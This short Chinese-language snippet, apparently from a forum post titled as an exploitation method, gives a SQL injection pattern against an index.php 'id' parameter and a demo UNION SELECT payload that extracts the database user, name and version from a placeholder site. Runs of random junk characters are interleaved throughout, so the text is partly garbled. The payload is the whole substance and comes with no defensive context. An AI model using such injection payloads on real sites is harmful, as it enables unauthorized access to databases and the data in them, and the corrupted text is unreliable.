利用方法:
* ~+ {7 [& Z) M. i. i http://www.xxx.com/index.php?id=[SQL]7 k* X- \% A( z. K/ ~, e' k# ~# a
Demo:' K: c6 n7 M$ K% F8 E, {2 Z
http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |